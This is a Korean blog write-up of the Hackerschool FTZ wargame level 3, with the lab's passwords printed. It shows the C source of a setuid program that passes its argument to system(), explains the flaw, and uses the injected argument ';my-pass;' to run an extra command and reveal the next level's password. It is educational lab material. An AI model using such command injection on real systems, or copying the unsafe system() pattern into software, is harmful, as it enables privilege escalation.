뇌
[FTZ] level 3 → level 4 문제풀이 본문
level3 - id
: level3 , pw
: can you fly?
[level3@ftz level3]$ ls
hint public_html tmp
[level3@ftz level3]$ cat hint
다음 코드는 autodig의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
이를 이용하여 level4의 권한을 얻어라.
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
[level3@ftz level3]$
코드에다 주석으로 설명을 달면 다음 줄로 넘어가서 아래에 설명한다 ..
if( argc!=2 ){
: 총 인자수(argc)가 2가 아니면
exit(0);
: 위 출력 후 종료
strcpy( cmd, "dig @" );
: "dig @"를 char형 배열 cmd 에 복사
strcat( cmd, argv[1] );
: 2번째 인자의 값을 char형 배열 cmd 에 이어붙임
strcat( cmd, " version.bind chaos txt");
: " version.bind chaos txt"를 char형 배열 cmd 에 이어붙임
system( cmd );
: cmd에 있는 문자열 값을 명령어로 실행
간단히 정리해서 말하면
dig @ + argv[1] + version.bind chaos txt
이런 식으로 cmd 배열에 문자열을 넣는다.
그리고 cmd 배열에 있는 문자열 값을 명령어로 실행시키는 프로그램이다.
system() 함수에 대해 알아보자.
system()
: int system(const char * string);
( stdlib.h 헤더파일 필요 )
system()
함수는 문자열(string) 로 값을 보내야하기 때문에,
두번째 인자값에 "뭐시기뭐시기" 이런 식으로 쌍따옴표로 묶어 넣어야한다.
이제 이 autodig 파일을 찾아보자.
[level3@ftz level3]$ find / -name autodig 2>/dev/null
/bin/autodig
[level3@ftz level3]$ ls -al /bin/autodig
-rwsr-x--- 1 level4 level3 12194 9월 10 2011 /bin/autodig
[level3@ftz level3]$
level4로 setuid가 걸려있는 /bin/autodig 라는 파일을 찾았다.
이 파일의 두번째 인자값에 "my-pass"를 줘보자.
[level3@ftz level3]$ /bin/autodig "my-pass"
dig: Couldn't find server 'my-pass': Name or service not known
[level3@ftz level3]$
오류가 뜬다.
more hints를 보면,
- 동시에 여러 명령어를 사용하려면?
이라 되어있는데, 이 의미는 ;(세미콜론)
을 사용하라는 뜻이다.
;(세미콜론)
은 명령어 하나가 끝나면 끝났다는 표시를 하는 기호라 할 수 있다.
그러므로 ;my-pass; 이런 식으로 인자값으로 넣어주면,
dig @;my-pass; version.bind chaos txt
이렇게 들어가기 때문에 앞 뒤 문장은 오류가 나더라도 my-pass;는 제대로 실행된다.
- 문자열 형태로 명령어를 전달하려면?
의 의미는 쌍따옴표를 사용하라는 뜻인 것 같다.
;my-pass;를 두번째 인자값으로 줘보자.
[level3@ftz level3]$ /bin/autodig ";my-pass;"
dig: Couldn't find server '': Name or service not known
Level4 Password is "suck my brain".
sh: line 1: version.bind: command not found
[level3@ftz level3]$
예상대로 dig : Couldn't ~~ 라 출력되면서 dig @;
에 대한 오류 메시지가 나오고,
my-pass;
를 수행하고,
version ~~ 에 대한 오류 메시지가 나왔다.
Level4 Password is "suck my brain".
감사합니다
'Pwnable > 해커스쿨 FTZ write-up' 카테고리의 다른 글
[FTZ] level 6 → level 7 문제풀이 (0) | 2020.02.18 |
---|---|
[FTZ] level 5 → level 6 문제풀이 (0) | 2020.02.03 |
[FTZ] level 4 → level 5 문제풀이 (0) | 2020.02.01 |
[FTZ] level 2 → level 3 문제풀이 (0) | 2020.01.30 |
[FTZ] level 1 → level 2 문제풀이 (0) | 2020.01.30 |